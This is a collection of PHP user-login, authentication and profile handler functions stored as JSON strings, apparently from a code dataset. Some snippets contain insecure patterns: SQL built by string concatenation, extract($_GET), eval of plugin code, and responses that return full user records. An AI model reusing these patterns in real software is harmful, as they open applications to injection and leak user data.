'\".$hashed_password.\"'\n\t\t\t\t\t\t\t\t\tLIMIT 1\";\n\t\t\t\t\t$stmt = $this->db->prepare($sql);\n\t\t\t\t\t$stmt->execute();\n\t\t\t\t $results = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\n if($stmt->rowCount()=='0') {\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid Email address or Password\");\n $this->response($this->json($error), 200);\n }\n\t\t\t\t\t\t$error = array('status' => \"Success\", \"msg\" => \"Sucessfully Login!\", \"data\" => json_encode($results) );\n\t\t\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t\t}\n\t\t\t} else{\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Fields are required\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\t\t\t// If invalid inputs \"Bad Request\" status message and reason\n\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Invalid Email address or Password\");\n\t\t\t$this->response($this->json($error), 200);\n\t\t}", "public function get_userInfo_get(){\n\t\textract($_GET);\n\t\t$result = $this->dashboard_model->get_userInfo($user_id,$profile_type);\n\t\treturn $this->response($result);\t\t\t\n\t}", "public function user(Request $request)\n {\n $user = $this->authService->user($request); \n if(gettype($user) === 'array' && !empty($user['error'])) \n return $this->error($user,401);\n\n return $this->success($user,'Fetched User');\n }", "public function user(Request $request)\n {\n $msg = __('User list successfully');\n return ApiResponse::successResponse('SUCCESS', $msg, $request->user());\n //return $this->successResponse($msg,$request->user());\n //return response()->json($request->user());\n }", "public function processRequest($data) {\n $this->select_user($data);\n }", "function user() {\n if ($this->getRequestMethod() != \"GET\") {\n $this->response('', 406);\n }\n $id = (int)$this->_request['id']; \n if ($id > 0) {\n $query = \"select * from users where id=$id;\"; \n $r = $this->conn->query($query) or die($this->conn->error . __LINE__);\n if($r->num_rows > 0) {\n $result = $r->fetch_assoc(); \n $this->response(json_encode($result), 200);\n } else {\n $this->response('', 204);\n }\n } else {\n $this->response('',406);\n }\n }", "public static function handleRequest()\n {\n if(isset($_SESSION['user']) && $_SESSION['user'] !== NULL)\n return true;\n return false;\n }", "public function postShow()\n {\n $id_user = Input::get('id');\n $user = User::find($id_user);\n if (count($user)) {\n return Response::json(array('user' => $user,\n 'status' => 1));\n }\n return Response::json(array('messages' => 'El usuario no esta registrado',\n 'status' => 0));\n }", "public function check()\n {\n return response()->json(Auth::user(),200);\n }", "public function loginON($request,$response){\n\n\n /*=================={Fetch data from the link}================*/\n\n\n $user_name0 = $request->getParam('user_name');\n $user_password = $request->getParam('user_password');\n\n\n\n if( !$this->isemty( $user_name0,$user_password )){\n $result = array(\n 'messageEN'=> 'Error!! No text to process',\n 'messageAR'=> 'خطأ!! لايوجد نص لمعالجته ',\n 'Properties'=> 'user_name,user_password',\n 'code'=> 400,\n\n );\n\nreturn $response->withJson( $result,$result['code']);\n }else\n\n $user = $this->getuserdata($user_name0);\n\nif($user === false){\n\n $result = array(\n 'messageEN'=> 'Error!! This user is not found! ',\n 'messageAR'=> 'خطأ!! هذا المستخدم غير موجد ',\n 'Properties'=> 'user_name',\n 'code'=> 404\n\n );\n\nreturn $response->withJson( $result,$result['code']);\n\n\n}else if($this->passwordverify($user_password ,$user) === false){\n\n\n $result = array(\n 'messageEN'=> 'Error !! Password not valid ',\n 'messageAR'=> 'خطأ !! كلمة المرور ليست صالحة ',\n 'Properties'=> 'user_password',\n\n 'code'=> 406,\n\n );\n\nreturn $response->withJson( $result,$result['code']);\n\n\n}else{\n\n\n $result = array(\n 'messageEN'=> 'Operation Success: Access Allowed',\n 'messageAR'=> 'العملية نجاحة :الوصول مسموح',\n 'token'=> $this->getnewToken($user),\n 'code'=> 200,\n\n\n\n );\n\n\n\nreturn $response->withJson( $result,$result['code']);\n\n\n\n}\n\n\n\n\n\n}", "public function show()\n\t{\n\t\ttry {\n\t\t\t$user = Auth::user();\n\t\t\treturn response()->json($user, 200);\n\t\t} catch (\\Exception $e) {\n\t\t\treturn response()->json($e, 400);\n\t\t}\n\t}", "public function handleRequest();", "public function handleRequest();", "public function handleRequest();", "function validateUserLogin()\n\t{\n\t\t$user=JFactory::getUser();\n\t\t$uid=$user->id;\n\t\t$response['validate']=new stdclass;\n\t\tif(!$uid)//user logged out\n\t\t{\n\t\t\t$response['validate']->error=1;\n\t\t\t$response['validate']->error_msg=JText::_('COM_JBOLO_UNAUTHORZIED_REQUEST');\n\t\t\t//output json response\n\t\t\theader('Content-type: application/json');\n\t\t\techo json_encode($response);\n\t\t\tjexit();\n\t\t}\n\t\treturn $response;\n\t}", "public function index()\n {\n try {\n $response = $this->userApiService->getUserInfo();\n return $this->respBuilder()\n ->setData($response)\n ->build();\n } catch (Throwable $e) {\n Log::error($e->getMessage());\n return $this->respBuilder()\n ->setErrors(Error::errors([Status::HTTP_INTERNAL_SERVER_ERROR => $e->getMessage()]))\n ->setSuccess(false)\n ->setCode(Response::HTTP_INTERNAL_SERVER_ERROR)\n ->build();\n }\n }", "public function api_entry_getprofile() {\n parent::validateParams(array('user'));\n\n $user = $this->Mdl_Users->get($_POST[\"user\"]);\n\n if ($user == null)\n parent::returnWithErr(\"User id is not valid.\");\n\n unset($user->password);\n\n $this->load->model('Mdl_Requests');\n $this->load->model('Mdl_Prays');\n\n $user->ipray_praying_for_me = 0;\n $user->ipray_i_am_praying_for = 0;\n $user->ipray_request_attended = 0;\n\n $prays = $this->Mdl_Prays->getAll();\n $requests = array();\n\n if (count($prays)) {\n foreach ($prays as $key => $val) {\n $request = $this->Mdl_Requests->get($val->request);\n $prayer = $this->Mdl_Users->get($val->prayer);\n\n if ($_POST[\"user\"] == $request->host) {\n if ($val->status == 1) $user->ipray_request_attended++;\n $user->ipray_praying_for_me++;\n }\n if ($_POST[\"user\"] == $val->prayer) {\n $user->ipray_i_am_praying_for++;\n }\n }\n }\n \n\n parent::returnWithoutErr(\"User profile fetched successfully.\", $user);\n }", "public function handleRequest() {\n $questions=$this->contactsService->getAllQuestions(\"date\");\n //load all the users\n $userList = User::loadUsers();\n //load all the topics\n \t\t$topics = $this->contactsService2->getAllTopics(\"name\");\n \t\t\n\t\t\t\trequire_once '../view/home.tpl';\n\t}", "public function check(Request $request) {\n $user = Auth::guard('api')->user();\n $data = false;\n $status = 404;\n $success = false;\n $errors = [];\n\n if(isset($user)){\n $data = true;\n $success = true;\n $status = 200;\n }\n else {\n $errors[] = \"No se encontró al usuario\";\n }\n return response()->json(array(\n 'success' => $success,\n 'status' => $status,\n 'errors' => $errors,\n 'data' => $data\n ));\n }", "public function info(Request $request){\n $user_id = $request->user_id;\n\n // Cari user dengan id yang diinginkan\n $user = User::find($user_id);\n\n return response()->json([\n 'id' => $user->id,\n 'username' => $user->username,\n 'email' => $user->email,\n 'name' => $user->first_name.\" \".$user->last_name,\n 'created_at' => $user->created_at\n ]);\n\n }", "public function getUserInput() {\n\n $backWithSession = isset($_SESSION['isLoggedIn']);\n $this->setBackWithSession($backWithSession);\n $userIsLoggedIn = $this->gateKeeper->getIsLoggedIn();\n $wantsToLogout = isset($_REQUEST[self::$logout]);\n $hasUserCookieSet = isset($_COOKIE[self::$cookieName]);\n $wantsToLogin = isset($_REQUEST[self::$login]);\n $postedRegistrationForm = $_SERVER[\"REQUEST_METHOD\"] === \"POST\" && isset($_REQUEST[\"register\"]);\n $clickedRegistrationLink = isset($_REQUEST[\"register\"]) && $_REQUEST[\"register\"] === \"1\";\n\n if ($userIsLoggedIn || $backWithSession) {\n\n if ($wantsToLogout) {\n $this->setWantsToLogout(true);\n }\n\n if ($backWithSession && $hasUserCookieSet) {\n $this->setWantsToLogin(true);\n $this->setBackWithSession(true);\n $this->user = new User();\n $this->user->setSessionID($this->getRandomSessionCookie($_COOKIE[self::$cookieName]));\n $this->user->setUsername($_COOKIE[self::$cookieName]);\n\n }\n\n } else {\n\n if ($wantsToLogin) {\n $this->setWantsToLogin(true);\n $this->initializeLogin();\n\n } else if ($postedRegistrationForm) {\n $this->setWantsToRegister(true);\n $this->initializeRegistration();\n\n } else if ($clickedRegistrationLink) {\n $this->setWantsToRegister(true);\n $this->shouldBypassController = true;\n\n }\n }\n }", "public function viewMemberById($request, $response, $args){\n\t\t$id = $args['id'];\n $validations = [\n v::intVal()->validate($id)\n ];\n\n if ($this->validate($validations) === false) {\n return $response->withStatus(400);\n }\n\t\t$member = Models\\User::find($id);\n\t\tif($member['user_picture'] == '' || $member['user_picture'] === null){\n\t\t\t$member['file_web_path'] = DEFAULT_IMG;\n\t\t}else{\n\t\t $member['file_web_path'] = MEMBER_WEB_PATH.'/'.$member['user_picture'];\n\t\t}\n\t\tif($member['status'] == 1){\n\t\t\t$member['status'] = 'Active';\n\t\t}else{\n\t\t $member['status'] = 'Inactive';\n\t\t}\n\t\t$member_meta = Models\\Usermeta::where('user_id', '=', $id)->get();\n\t\t//echo $member_meta[0]['dob'];\n\t\t$member_meta[0]['dob'] = hr_date($member_meta[0]['dob']);\n\t\t\n\t\tif ($member) {\n echo json_encode(array('member' => $member, 'member_data' => $member_meta));\n }\n\t\t\n }", "public function handleRequest() {}", "public function validateUser(){\n\t\t$user = $this->auth->user();\n\t\tif(!$user) {\n\t\t\t$responseArray = [\n\t\t\t\t'message' => 'Not authorized. Please login again',\n\t\t\t\t'status' => false\n\t\t\t];\n\n\t\t\treturn response()->json($responseArray)->setStatusCode(403);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$responseArray = [\n\t\t\t'message' => 'User is authorized',\n\t\t\t'status' => true\n\t\t\t];\n\n\t\t\treturn response()->json($responseArray)->setStatusCode(200);\n\t\t}\n\t}", "public function index()\n {\n\n $userData = Input::json()->all();\n \n // Check the user submitted data is valid\n $userValidator = $this->validator($userData);\n if($userValidator->fails()){\n \n $message = $userValidator->errors();\n // The submitted user has invalid data\n return response($message, 400)\n ->header('Content-Type', 'text/plain'); \n\n }\n\n if (Auth::attempt(['email' => $userData[\"email\"], 'password' => $userData[\"password\"]])) {\n // Authentication passed...\n $user = Auth::user();\n\n $userTokenData = array(\n \"email\" => $user[\"email\"],\n \"name\" => $user[\"name\"]\n );\n\n // We encode and create the access Token for the client\n $encodedUser = JWT::encode($userTokenData, strtr(env('APP_AUTH_PRIVATE_KEY', false), array('\\\\n' => \"\\n\", \"_\" => \" \")), 'RS256');\n\n return $encodedUser;\n }\n\n $message = \"Wrong Access Credentials\";\n return response($message, 400)\n ->header('Content-Type', 'text/plain'); \n\n\n }", "public function getProfile($request, $response, $args){\n\t\t$id = $args['id'];\n $validations = [\n v::intVal()->validate($id)\n ];\n\t\t\n if ($this->validate($validations) === false) {\n return $response->withStatus(400);\n }\n\t\t // Get data of the user\n\t\t$loggedInUser = Models\\Operators::find($id);\n\t\t\n\t\tif ($loggedInUser) {\n echo json_encode($loggedInUser);\n }\n }", "private function preAddUser(){\n $LMS = new LMS();\n $api = $LMS->getDataXUserPass($this->_user, $this->_pass, 'https://www.sistemauno.com/source/ws/uno_wsj_login.php');\n $this->_person = \"\";\n if ($this->isObjectAPI($api)) {\n //validar Permisos\n $FilterAPI = new FilterAPI($api);\n $this->_datPerson = $FilterAPI->runFilter($this->_user, $this->_pass);\n if (is_array($this->_datPerson)) {\n //si el usuario cuenta con un perfil apropiado se le pide que valide sus coreo\n $this->validateEmailUser();\n if($this->validUniqueMail()){\n $this->sendMail();\n $this->_response = \"1|\" . $this->_datPerson[email] . \"|\" . $this->_datPerson[personId] . \"|\" . $this->_code . \"|\" . $this->_datPerson['name'];\n }else{\n $this->_response = \"2|\" . $this->_datPerson[email] . \"|\" . $this->_datPerson[personId] . \"|\" . $this->_code . \"|\" . $this->_datPerson['name'];\n }\n } else {\n $this->_response = $this->_datPerson;\n }\n } else {\n $this->_response = $api;\n }\n }", "protected function process() {\n $username = $this->app()->request->post(\"username\");\n $fullName = $this->app()->request->post(\"fullname\");\n $phone = $this->app()->request->post(\"phone\");\n $password = $this->app()->request->post(\"password\");\n $cpassword = $this->app()->request->post(\"cpassword\");\n $currentLocation = $this->app()->request->post(\"curr-location\");\n $preferredLocation = $this->app()->request->post(\"pref-location\");\n $experience = $this->app()->request->post(\"experience\");\n $skills = $this->app()->request->post(\"skills\");\n\n $skillSet = explode(',', $skills);\n\n // Validation stuff\n if(!($this->validateRegistration($username, $phone, $password, $cpassword,$currentLocation,$preferredLocation,$skills,$experience))) {\n $this->setRedirectUri(\"home\");\n }\n\n require_once 'libs/Auth.php';\n $volunteerId = Auth::userId();\n\n require_once 'models/Volunteer.php';\n \n $volunteer = new Volunteer($volunteerId);\n $volunteer->registerSeeker($username, $fullName, $phone, $password, $currentLocation, $preferredLocation, $experience, $skillSet);\n }", "public function __invoke(Request $request, RequestHandler $handler): Response\r\n {\r\n \r\n $arrDatos = $request->getParsedBody();\r\n \r\n \r\n $user = new User();\r\n $user->email = $arrDatos['email']??\"0\";\r\n $user->tipo_id = $arrDatos['tipo']??\"0\";\r\n $user->clave = $arrDatos['clave']??\"0\";\r\n $user->nombre = $arrDatos['nombre']??\"0\";\r\n $user->legajo = $arrDatos['legajo']??\"0\";\r\n\r\n \r\n if ($user->email != \"0\" && $user->tipo_id != \"0\" && $user->clave != \"0\" && $user->nombre != \"0\" && $user->legajo) {\r\n \r\n if(Funciones::datosEspecificos3(strtolower($user->tipo_id),\"1\",\"2\",\"3\"))\r\n { \r\n if($user->legajo >999 && $user->legajo<2001)\r\n {\r\n $objeto = User::where('email',$arrDatos['email'])->get();\r\n $leg = User::where('legajo',$arrDatos['legajo'])->get();\r\n if($objeto == \"[]\")\r\n { \r\n if($leg == \"[]\")\r\n {\r\n $user->clave = password_hash($arrDatos['clave'],PASSWORD_DEFAULT);\r\n $request = $request->withAttribute(\"user\",$user);\r\n $resp = new Response();\r\n $response = $handler->handle($request);\r\n $existingContent = (string) $response->getBody();\r\n $resp->getBody()->write($existingContent);\r\n return $resp;\r\n \r\n }\r\n else\r\n {\r\n $resp = new Response();\r\n $resp->getBody()->write(json_encode(array(\"Error\" => \"Legajo Existente\")));\r\n return $resp;\r\n }\r\n\r\n }\r\n else\r\n {\r\n $resp = new Response();\r\n $resp->getBody()->write(json_encode(array(\"Error\" => \"Email Existente\")));\r\n \r\n return $resp;\r\n }\r\n }\r\n else\r\n { \r\n $resp = new Response();\r\n \r\n $resp->getBody()->write(json_encode(array(\"Error\" => \"Se puede ingresar un legajo entre 1000 y 2000\")));\r\n\r\n return $resp;\r\n }\r\n\r\n }\r\n else\r\n {\r\n $resp = new Response();\r\n $resp->getBody()->write(json_encode(array(\"Error\" => \"Solo es valido el tipo 1, 2 o 3\")));\r\n return $resp;\r\n }\r\n } else {\r\n $resp = new Response();\r\n $resp->getBody()->write(json_encode(array(\"Error\" => \"Datos insuficientes\")));\r\n return $resp;\r\n }\r\n \r\n \r\n }", "public function user()\n\t{\n $this->data['message'] = lang_check('Something is wrong with request');\n $this->data['token_available'] = FALSE;\n \n $POST = $this->input->get_post(NULL, TRUE);\n \n $token = $this->token_m->get_token($POST);\n if(is_object($token))\n $this->data['token_available'] = TRUE;\n \n if(is_object($token))\n {\n $user = $this->user_m->get_by(array(\n 'id' => $token->user_id,\n 'activated' => 1,\n ), TRUE);\n $res_user = array();\n $res_user['username'] = $user->username;\n $res_user['name_surname'] = $user->name_surname;\n $res_user['address'] = $user->address;\n $res_user['phone'] = $user->phone;\n $res_user['mail'] = $user->mail;\n $res_user['type'] = $user->type;\n $res_user['language'] = $user->language;\n $res_user['description'] = $user->description;\n $res_user['image_user_filename'] = $user->image_user_filename;\n \n $this->data['results'] = $res_user;\n \n $this->data['message'] = lang_check('Results available');\n }\n\n echo json_encode($this->data);\n exit();\n\t}", "function show() {\n // Process request with using of models\n $user = Service::get_authorized_user();\n // Make Response Data\n if ($user !== NULL) {\n $data = [\n 'profile' => $user,\n ];\n $view = 'user/show';\n return $this->render($view, $data);\n } else {\n return Application::error403();\n }\n}", "public function userDetails(){\n\t\t\techo $this->name .\"<br>\";\n\t\t\techo $this->age .\"<br>\";\n\t\t\techo $this->dept .\"<br>\";\n\t\t}", "public function processRequest() {\r\n switch($this->requestMethod) {\r\n case 'GET':\r\n if($this->id) {\r\n $response = $this->get($this->id);\r\n }\r\n else {\r\n $response = $this->getAll();\r\n }\r\n break;\r\n case 'POST':\r\n $response = $this->create();\r\n break;\r\n case 'PUT':\r\n $response = $this->update($this->id);\r\n break;\r\n case 'DELETE':\r\n $response = $this->delete($this->id);\r\n break;\r\n case 'OPTIONS':\r\n break;\r\n default:\r\n $response = $this->notFoundResponse();\r\n break;\r\n }\r\n\r\n header($response['status_code_header']);\r\n\r\n // If there is a body then echo it\r\n if($response['body']) {\r\n echo $response['body'];\r\n }\r\n }", "public function validate()\n {\n // Tipo de validación\n $type = $this->request->get('type');\n $type = ($type == 'email') ? 'email' : 'username';\n \n Core::getService('account.validate')->$type($this->request->get('value'));\n $status = 'taken';\n \n if (Core_Error::isPassed())\n {\n $status = 'ok'; \n }\n \n $this->call(\"var obj = $('#\" . $this->request->get('obj') . \"'); signup.show_status(obj, '{$status}');\");\n }", "public function getUserInfo(Request $request, Response $response)\n {\n\n //$result = $username;\n\n //return $response->withStatus(200)->withJson($result);\n return 'test';\n }", "public function process()\n {\n // get parameters\n $sM = $this->request()->get('m');\n $sModule = $this->request()->get('module');\n $sName = $this->request()->get('name');\n $sMatchType = $this->request()->get('match_type');\n $sMatchID = trim($this->request()->get('match_id'), '/');\n $sMatchName = $this->request()->get('match_name');\n\n // init\n $oUser = Phpfox::getService('user');\n $oProfilePopup = Phpfox::getService('profilepopup');\n $iNumberOfMutualFriend = intval(Phpfox::getParam('profilepopup.number_of_mutual_friend'));\n $iNumberOfMutualFriend = $iNumberOfMutualFriend < 0 ? 0 : $iNumberOfMutualFriend;\n\n $aUser = $oProfilePopup->getByUserName($sMatchName);\n\n $iIsUser = 1;\n if (isset($aUser['user_id']) === false)\n {\n $this->template()->assign(array(\n 'iIsUser' => $iIsUser\n )\n );\n\n return;\n }\n\n $bIsPage = ($aUser['profile_page_id'] > 0 ? true : false);\n if ($bIsPage)\n {\n $aUser['page'] = Phpfox::getService('pages')->getPage($aUser['profile_page_id']);\n }\n\n // check view profile permission\n $aFriend = $oProfilePopup->getFriendByUserIDAndFriendID(intval(Phpfox::getUserId()), intval($aUser['user_id']));\n if (\n (Phpfox::getService('user.block')->isBlocked($aUser['user_id'], Phpfox::getUserId()) && !Phpfox::getUserParam('user.can_override_user_privacy'))\n || (\n ((Phpfox::isModule('friend') && Phpfox::getParam('friend.friends_only_profile')) )\n && empty($aUser['is_friend'])\n && !Phpfox::getUserParam('user.can_override_user_privacy')\n && $aUser['user_id'] != Phpfox::getUserId()\n )\n || (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'profile.view_profile'))\n )\n {\n $this->template()->assign(array(\n 'iIsCanViewProfile' => 0,\n 'bIsPage' => $bIsPage,\n 'iIsUser' => $iIsUser,\n 'aFriend' => $aFriend,\n 'aUser' => $aUser\n )\n );\n\n return;\n }\n\n // check basic information viewing permission\n $iIsCanViewBasicInfo = 1;\n if (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'profile.basic_info'))\n {\n $iIsCanViewBasicInfo = 0;\n }\n $iIsCanViewProfileInfo = 1;\n if (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'profile.profile_info'))\n {\n $iIsCanViewProfileInfo = 0;\n }\n $iIsCanViewMutualFriends = 1;\n if (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'profile.view_friend'))\n {\n $iIsCanViewMutualFriends = 0;\n }\n $iIsCanViewLocation = 1;\n if (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'friend.view_location'))\n {\n $iIsCanViewLocation = 0;\n }\n\n $aUser['birthday_time_stamp'] = $aUser['birthday'];\n $aUser['birthday'] = $oUser->age($aUser['birthday']);\n $aUser['gender_name'] = $oUser->gender($aUser['gender']);\n $aUser['birthdate_display'] = $oUser->getProfileBirthDate($aUser);\n $aUser['location'] = Phpfox::getPhraseT(Phpfox::getService('core.country')->getCountry($aUser['country_iso']), 'country');\n if (isset($aUser['country_child_id']) && $aUser['country_child_id'] > 0)\n {\n $aUser['location_child'] = Phpfox::getService('core.country')->getChild($aUser['country_child_id']);\n }\n\n $aUser['is_friend'] = false;\n $iTotal = 0;\n $aMutual = array();\n if ($aUser['user_id'] != Phpfox::getUserId() && !$bIsPage)\n {\n if (Phpfox::isUser())\n {\n $aUser['is_friend'] = Phpfox::getService('friend')->isFriend(Phpfox::getUserId(), $aUser['user_id']);\n if (!$aUser['is_friend'])\n {\n $aUser['is_friend'] = (Phpfox::getService('friend.request')->isRequested(Phpfox::getUserId(), $aUser['user_id']) ? 2 : false);\n }\n }\n\n list($iTotal, $aMutual) = Phpfox::getService('friend')->getMutualFriends($aUser['user_id'], $iNumberOfMutualFriend);\n }\n\n $bShowBDayInput = false;\n if (!empty($aUser['birthday']))\n {\n $iDays = Phpfox::getLib('date')->daysToDate($aUser['birthday'], null, false);\n } else\n {\n $iDays = 999;\n }\n\n if ($iDays < 1 && $iDays > 0)\n {\n $bShowBDayInput = true;\n }\n (($sPlugin = Phpfox_Plugin::get('profilepopup.component_block_popup_1')) ? eval($sPlugin) : false);\n\n // get latest status\n $aAllItems = $oProfilePopup->getAllItems();\n $aDataUserCustomField = $oProfilePopup->getDataUserCustomFieldByUserID(intval($aUser['user_id']));\n $aDataUserCutomFieldMutipleValue = $oProfilePopup->getDataUserCutomFieldMutipleValueByUserID(intval($aUser['user_id']));\n $iLen = count($aAllItems);\n\t\t\t\t$showCoverPhoto = false;\n\n for ($idx = 0; $idx < $iLen; $idx++)\n {\n \t// check show cover photo\n \tif($aAllItems[$idx]['name'] == 'cover_photo' && $aAllItems[$idx]['is_display'] == 1){\n \t\t$showCoverPhoto = true;\n \t}\n // language name\n $aAllItems[$idx]['lang_name'] = '';\n if (intval($aAllItems[$idx]['is_custom_field']) == 1)\n {\n if(Phpfox::getLib('locale')->isPhrase($aAllItems[$idx]['phrase_var_name'])){\n $aAllItems[$idx]['lang_name'] = Phpfox::getPhrase($aAllItems[$idx]['phrase_var_name']);\n } else {\n $aAllItems[$idx]['is_display'] = 0;\n } \n } else\n {\n $aAllItems[$idx]['lang_name'] = Phpfox::getPhrase('profilepopup.' . $aAllItems[$idx]['phrase_var_name']);\n }\n\n // custom field with content\n $aAllItems[$idx]['cf_content'] = '';\n if (isset($aDataUserCustomField['cf_' . $aAllItems[$idx]['name']]) === true)\n {\n $aAllItems[$idx]['cf_content'] = $aDataUserCustomField['cf_' . $aAllItems[$idx]['name']];\n }\n\n // custom field with mutiple value\n foreach ($aDataUserCutomFieldMutipleValue as $iKey => $sVal)\n {\n if ($aAllItems[$idx]['name'] == $sVal['field_name'])\n {\n $aAllItems[$idx]['cf_content'] .= Phpfox::getPhrase($sVal['phrase_var_name']) . ', ';\n //break;\n }\n }\n\t\t\t\t\t\t$aAllItems[$idx]['cf_content'] = rtrim($aAllItems[$idx]['cf_content'], \", \");\n }\n\n $aStatus = $oProfilePopup->getLatestStatusByUserID(intval($aUser['user_id']));\n\n $aRelationshipStatus = $oProfilePopup->getRelationshipStatusByUserID(intval($aUser['user_id']));\n if (isset($aRelationshipStatus) && is_array($aRelationshipStatus) === true && count($aRelationshipStatus) > 0)\n {\n $aRelationshipStatus['lang_name'] = Phpfox::getPhrase($aRelationshipStatus['phrase_var_name']);\n } else\n {\n $aRelationshipStatus = array();\n }\n\n $iShorten = intval(Phpfox::getParam('profilepopup.profilepopup_length_in_index'));\n $sShowMutualFriend = Phpfox::getParam('profilepopup.show_mutual_friend') ? '1' : '0';\n\n // update firstname and lastname\n if (Phpfox::getParam('user.split_full_name') && empty($aUser['first_name']) && empty($aUser['last_name']))\n {\n preg_match('/(.*) (.*)/', $aUser['full_name'], $aNameMatches);\n if (isset($aNameMatches[1]) && isset($aNameMatches[2]))\n {\n $aUser['first_name'] = $aNameMatches[1];\n $aUser['last_name'] = $aNameMatches[2];\n } else\n {\n $aUser['first_name'] = $aUser['full_name'];\n }\n }\n\n // integrate with Fox Favorite\n if (Phpfox::isModule('foxfavorite') && Phpfox::isUser())\n {\n $sFFModule = 'profile';\n $iFFItemId = $aUser['user_name'];\n $iFFUserId = $aUser['user_id'];\n\n $bFFPass = true;\n if (!Phpfox::getService('foxfavorite')->isAvailModule($sFFModule)\n || $iFFUserId == Phpfox::getUserId()\n || empty($iFFUserId)\n || (Phpfox::getUserBy('view_id') != 0))\n {\n $bFFPass = false;\n }\n\n if ($bFFPass === true)\n {\n $bFFIsAlreadyFavorite = Phpfox::getService('foxfavorite')->isAlreadyFavorite($sFFModule, $iFFItemId);\n $this->template()->assign(array(\n 'bFFIsAlreadyFavorite' => $bFFIsAlreadyFavorite,\n 'sFFModule' => $sFFModule,\n 'iFFItemId' => $iFFItemId\n )\n );\n }\n }\n\n\t\t\t\t// Resume Module\n\t\t\t\tif($oProfilePopup->canViewResumeByUserID(intval(Phpfox::getUserId()), $aUser['user_id']) == true){\n\t\t\t\t\t$aResumeItems = $oProfilePopup->getItemsByModule(1, 'user', 'resume');\n\t\t\t\t\t$iResumeLen = count($aResumeItems);\n\t\t\t\t\t$oneItemResumeIsDisplay = '0';\n\t\t\t\t\t$aResume = $oProfilePopup->getPublishedResumeByUserID($aUser['user_id']);\n\t\t\t\t\t$iResumeId = $aResume['resume_id'];\n\t\t\t\t\t$aResume = Phpfox::getService(\"resume.basic\")->getBasicInfo($iResumeId);\n\t\t\t\t\t\n\t\t\t\t\tfor ($idx = 0; $idx < $iResumeLen; $idx++){\n\t\t\t\t\t\tif($aResumeItems[$idx]['is_display'] == 1){\n\t\t\t\t\t\t\t$oneItemResumeIsDisplay = '1';\n\t\t\t\t\t\t}\n // language name\n $aResumeItems[$idx]['lang_name'] = '';\n if (intval($aResumeItems[$idx]['is_custom_field']) == 1)\n {\n if(Phpfox::getLib('locale')->isPhrase($aResumeItems[$idx]['phrase_var_name'])){\n $aResumeItems[$idx]['lang_name'] = Phpfox::getPhrase($aResumeItems[$idx]['phrase_var_name']);\n } else {\n $aResumeItems[$idx]['is_display'] = 0;\n } \n \n } else\n {\n $aResumeItems[$idx]['lang_name'] = Phpfox::getPhrase('profilepopup.' . $aResumeItems[$idx]['phrase_var_name']);\n }\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$aCurrentWork = Phpfox::getService('resume.experience')->getCurrentWork($iResumeId);\n\t\t\t\t\t$aResume['level_name'] = Phpfox::getService('resume.level')->getLevelById($aResume['level_id']);\n\t\t\t\t\t$aLatestEducation = Phpfox::getService('resume.education')->getLatestEducation($iResumeId);\n\t\t\t\t\t$aCats = Phpfox::getService('resume.category')->getCatNameList($iResumeId);\n\t\t\t\t\t$catPlainText = '';\n\t\t\t\t\tforeach($aCats as $k => $v){\n\t\t\t\t\t\tif($k == 0){\n\t\t\t\t\t\t\t$catPlainText .= $v['name']; \t\t\t\t\t\t\t\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$catPlainText .= ' | ' . $v['name'];\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t $this->template()->assign(array(\n\t 'canViewResume' => '1',\n\t 'aResumeItems' => $aResumeItems,\n\t 'oneItemResumeIsDisplay' => $oneItemResumeIsDisplay,\n\t 'aResume' => $aResume,\n\t 'aCurrentWork' => $aCurrentWork,\n\t 'aLatestEducation' => $aLatestEducation,\n\t 'aCats' => $aCats,\n\t 'catPlainText' => $catPlainText,\n\t )\n\t );\n\t\t\t\t} else {\n\t $this->template()->assign(array(\n\t 'canViewResume' => '0'\n\t )\n\t );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//\tget cover photo\n\t\t\t\tif(Phpfox::isModule('photo') && isset($aUser['cover_photo']) && $showCoverPhoto == true)\n\t\t\t\t{\n\t\t\t\t\t$aCoverPhoto = Phpfox::getService('photo')->getCoverPhoto($aUser['cover_photo']);\n\t\t\t\t\tif (!isset($aCoverPhoto['photo_id']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$aCoverPhoto = null;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (!Phpfox::getService('user.privacy')->hasAccess($aUser['user_id'], 'profile.view_profile'))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$aCoverPhoto = null;\n\t\t\t\t\t\t}\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif(null != $aCoverPhoto)\n\t\t\t\t\t{\n\t\t $this->template()->assign(array(\n\t\t 'aCoverPhoto' => $aCoverPhoto\n\t\t )\n\t \t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//\tcheck online\n\t\t\t\t$foCnt = 0;\n\t\t\t\t$foFriends = array();\n\t\t\t\t$iTotalFriendsOnline = 1;\n\t\t\t\tlist($foCnt, $foFriends) = Phpfox::getService('friend')->get('friend.friend_user_id = ' . $aUser['user_id'] . ' AND friend.is_page = 0 AND friend.user_id = ' . Phpfox::getUserId(), 'ls.last_activity DESC', 0, $iTotalFriendsOnline, true, false, true);\n\t\t\t\tif($foCnt > 0){\n\t\t\t\t\t$aUser['is_online'] = 1;\n\t\t\t\t}\n\t\t\t\t\n $this->template()->assign(array(\n 'bIsPage' => $bIsPage,\n 'iIsUser' => $iIsUser,\n 'iIsCanViewProfile' => 1,\n 'iIsCanViewBasicInfo' => $iIsCanViewBasicInfo,\n 'iIsCanViewProfileInfo' => $iIsCanViewProfileInfo,\n 'iIsCanViewMutualFriends' => $iIsCanViewMutualFriends,\n 'iIsCanViewLocation' => $iIsCanViewLocation,\n 'iIsUser' => 1,\n 'aUser' 